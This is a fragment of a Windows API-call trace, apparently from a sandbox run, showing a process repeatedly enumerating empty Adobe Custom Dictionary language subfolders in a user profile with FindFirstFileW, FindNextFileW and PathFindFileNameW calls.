ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.720] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.720] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.720] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.720] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\") returned="frn\\" [0114.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0114.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0114.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.720] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.720] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.720] PathFindFileNameW (pszPath="") returned="" [0114.720] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.721] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.721] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.721] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.721] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.721] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\") returned="grm\\" [0114.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0114.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0114.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.722] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.722] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.722] PathFindFileNameW (pszPath="") returned="" [0114.722] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.722] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.722] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.722] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.722] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.722] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\") returned="itl\\" [0114.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0114.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0114.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.723] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.723] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.723] PathFindFileNameW (pszPath="") returned="" [0114.723] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.723] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.723] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.723] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.723] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.723] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.723] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\") returned="nrw\\" [0114.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0114.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0114.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.724] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.724] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.724] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.724] PathFindFileNameW (pszPath="") returned="" [0114.724] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.724] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.724] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.724] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.724] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.725] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\") returned="prt\\" [0114.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0114.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0114.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.725] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.725] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.725] PathFindFileNameW (pszPath="") returned="" [0114.725] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.727] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.727] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.727] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.727] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.727] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.727] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\") returned="spn\\" [0114.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0114.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0114.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.728] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.728] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.728] PathFindFileNameW (pszPath="") returned="" [0114.728] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.728] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.728] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.728] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.729] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.729] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\") returned="swd\\" [0114.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0114.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0114.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.729] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.729] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.729] PathFindFileNameW (pszPath="") returned="" [0114.729] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.730] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.730] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.730] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 